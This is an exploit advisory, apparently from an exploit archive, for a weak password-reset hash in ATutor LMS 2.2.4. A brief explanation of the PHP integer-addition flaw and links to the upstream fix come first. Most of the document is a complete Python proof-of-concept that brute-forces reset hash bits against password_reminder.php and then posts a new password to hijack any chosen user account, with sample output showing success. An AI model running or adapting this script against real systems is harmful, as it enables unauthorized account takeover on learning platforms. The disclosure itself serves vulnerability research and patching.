ATutor LMS 2.2.4 Weak Password Reset Hash

2020.05.06
Credit: Hodorsec
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: ATutor LMS 2.2.4 - Weak Password Reset Hash # Date: 2020-05-05 # Exploit Author: Hodorsec # Version: 2.2.4 # Software Link: https://atutor.github.io/atutor/downloads.html # Vendor Homepage: https://atutor.github.io # Tested on: Debian 10 x64 - PHP 7.3.15-3 # Problem: # While the original intention of the program was to probably concatenate strings as indicated for the $hash value, this doesn't happen. # Instead, due to the left-associativity of the "+" operator, the integers of "id" and "g" are added first. # Lastly, the password gets added as integer as well via the "h" SHA1 hashed password, while a SHA1 password doesn't consist of only integers. # # Analysis: # During analysis, it appeared ONLY the first readable numeric digits are added from the SHA1 hash. # Numeric digits at the beginning of a random SHA1 string, are being added to the variables "id" and "h". # This might have an impact on many requests, if a large numeric prefix is used in a SHA1 hash. # # Vulnerability: # A valid user ID, the UNIX Epoch in days of maximum +2 and a generated number would be sufficient to generate valid hash bits. # The hash bits could be attempted to send to the webserver, and if the content contains a valid "change your password" dialog, the attack was successful. # # Impact: # This means any malicious attacker could modify the password of every user, issueing a maximum of 100 requests per user ID. # # Fix: # Appears to be already fixed on the Master branch on Github, however: the 2.2.4 "tar.gz" still contains the unfixed version of "password_reminder.php" # # Github details: # https://github.com/atutor/ATutor/issues/177 # https://github.com/atutor/ATutor/commit/557dc83071ec36c5ca22a1ea08d57778283905ca # # Reproduction: # EXAMPLE # $ python3 poc_atutor_2.2.4_iterate_hashbits.py http 192.168.252.13 80 /ATutor 1 2 password # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=6d520a1dabb8ae6 # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=c3300a342a267a4 # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=cd255501ba0a052 # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1a9df2a3fad2f0c # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1450a1414a4107e # [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=83618d638c3b1fa # # [*] SUCCESS: Hashbit 83618d638c3b1fa allows changing password for user ID 1 using 18385 for Epoch days # [*] Used 6 number of requests # # [*] Changing password... # [*] Password changed successfully! #!/usr/bin/python3 import hashlib,string,itertools,re,sys import requests import urllib3 import os import time import sys from random_useragent.random_useragent import Randomize # Randomize useragent # Optionally, use a proxy # proxy = "http://<user>:<pass>@<proxy>:<port>" proxy = "" os.environ['http_proxy'] = proxy os.environ['HTTP_PROXY'] = proxy os.environ['https_proxy'] = proxy os.environ['HTTPS_PROXY'] = proxy # Disable cert warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Set timeout timeout = 3 # URL urlpage = "/password_reminder.php" # Handle CTRL-C def keyboard_interrupt(): """Handles keyboardinterrupt exceptions""" print("\n\n[*] User requested an interrupt, exiting...") exit(1) # Set optional headers def http_headers(): # Randomize useragent useragent = Randomize().random_agent('desktop', 'windows') # HTTP Headers. Might need modification for each webapplication headers = { 'User-Agent': useragent, } return headers def gen_code(id, epoch_day, digits): """ Generate a hash_bit, substring of a SHA1 hash based on 'id', 'g' (epoch day) and SHA1 raw-hashed password 94 $hash = sha1($_REQUEST['id'] + $_REQUEST['g'] + $row['password']); 95 $hash_bit = substr($hash, 5, 15); """ codes = [] chars = range(0,10 ** digits) # Range of numeric digits to use for guessing the SHA1 prefix for num in chars: to_hash = str(id + epoch_day + num) # Only checks on the first set of numeric occurences in the SHA1 hash hash_bit = hashlib.sha1(to_hash.encode()).hexdigest()[5:5+15] # Hash it, Python equivalent of PHP substr(5,15) codes.append(hash_bit) # Add the hashbit to the array for testing later on return codes def iterate_hashbits(method, host, port, prefix, id, digits): """ Set epochs with a maximum of today + 2 75 //check if expired 76 $current = intval(((time()/60)/60)/24); 77 $expiry_date = $_REQUEST['g'] + AT_PASSWORD_REMINDER_EXPIRY; //2 days after creation """ current_epoch_days = int(((int(time.time()) / 60) / 60) / 24) # Calculate current Epoch in days max_epoch_days = int(current_epoch_days + 2) # Maximum Epoch in days, as hardcoded by Atutor # Set initial variables headers = http_headers() # Reuse the static headers, due to odd behaviour of Atutor changing user-agent between requests txt_pass_change = "Enter a new password for your account" # Text to check later if attempt was successfull count = 0 # Iterate between today and today + 2 # Iteration of hashbits for epoch_day in range(current_epoch_days, max_epoch_days + 1): # Add one to include stop value for range codes = gen_code(id, epoch_day, digits) for code in codes: url = method + "://" + host + ":" + port + prefix + urlpage + "?id=" + str(id) + "&g=" + str(epoch_day) + "&h=" + code print("[*] Issueing password change requests to URL: " + url) try: r = requests.get(url, allow_redirects=False, headers=headers, verify=False, timeout=timeout) count += 1 except requests.exceptions.Timeout: print("[!] Timeout error\n") except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") except requests.exceptions.RequestException as e: print("[!] " + e) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + e.code + "\n") except KeyboardInterrupt: keyboard_interrupt() if txt_pass_change in r.text: print("\n[*] SUCCESS: Hashbit " + code + " allows changing password for user ID " + str(id) + " using " + str(epoch_day) + " for Epoch days") print("[*] Used " + str(count) + " number of requests\n") return [code, epoch_day] elif int(r.status_code) != 200: print("\n[!] FAIL: " + url + " doesn't seem to respond correctly.\n") exit(-1) print("\n[!] FAIL: Code not found, something went wrong.\n") exit(-1) def change_pass(method, host, port, prefix, id, code, epoch_day, password): """ Set a new password with a valid hashbit as code 97 if ($_REQUEST['h'] !== $hash_bit) { 98 $msg->addError('INVALID_LINK'); 99 } else if (($_REQUEST['h'] == $hash_bit) && !isset($_POST['form_change'])) { 100 $savant->assign('id', $_REQUEST['id']); 101 $savant->assign('g', $_REQUEST['g']); 102 $savant->assign('h', $_REQUEST['h']); 103 $savant->display('password_change.tmpl.php'); 104 } """ print("[*] Changing password...") headers = http_headers() url = method + "://" + host + ":" + port + prefix + urlpage sha1_pass = hashlib.sha1(password.encode()).hexdigest() post_data = {'form_change':'true', 'id':str(id), 'h':code, 'g':str(epoch_day), 'form_password_hidden':sha1_pass, 'submit':'Submit'} try: r = requests.post(url, data=post_data, headers=headers, verify=False, timeout=timeout) except requests.exceptions.Timeout: print("[!] Timeout error\n") except requests.exceptions.TooManyRedirects: print("[!] Too many redirects\n") except requests.exceptions.ConnectionError: print("[!] Not able to connect to URL\n") except requests.exceptions.RequestException as e: print("[!] " + e) except requests.exceptions.HTTPError as e: print("[!] Failed with error code - " + e.code + "\n") except KeyboardInterrupt: keyboard_interrupt() if 'changed' in r.text: print("[*] Password changed successfully!\n") exit(1) else: print("[!] Something went wrong changing password.\n") exit(-1) def main(): if len(sys.argv) != 8: print("[+] Usage: " + sys.argv[0] + " <http/https> <host> <port> <url_prefix> <user_id> <digits> <password>\n") print("[+] Eg: " + sys.argv[0] + " http 192.168.11.1 80 /ATutor 1 2 Password12345") print("[+] Eg: " + sys.argv[0] + " https yourlocalserver.local 443 / 3 4 Someotherpassword\n") print("[+] Use the <digits> parameters with caution due to possible excessive amounts of requests, uses 'digit ^ 10' amount of requests. Value 2 would be a nice value to start with.\n") exit(-1) # Set variables method = str(sys.argv[1]) host = str(sys.argv[2]) port = str(sys.argv[3]) url_prefix = str(sys.argv[4]) id = int(sys.argv[5]) digits = int(sys.argv[6]) password = str(sys.argv[7]) # Iterate through bits of hashes code_epoch = iterate_hashbits(method, host, port, url_prefix, id, digits) code = code_epoch[0] epoch_day = code_epoch[1] change_pass(method, host, port, url_prefix, id, code, epoch_day, password) if __name__ == "__main__": main()


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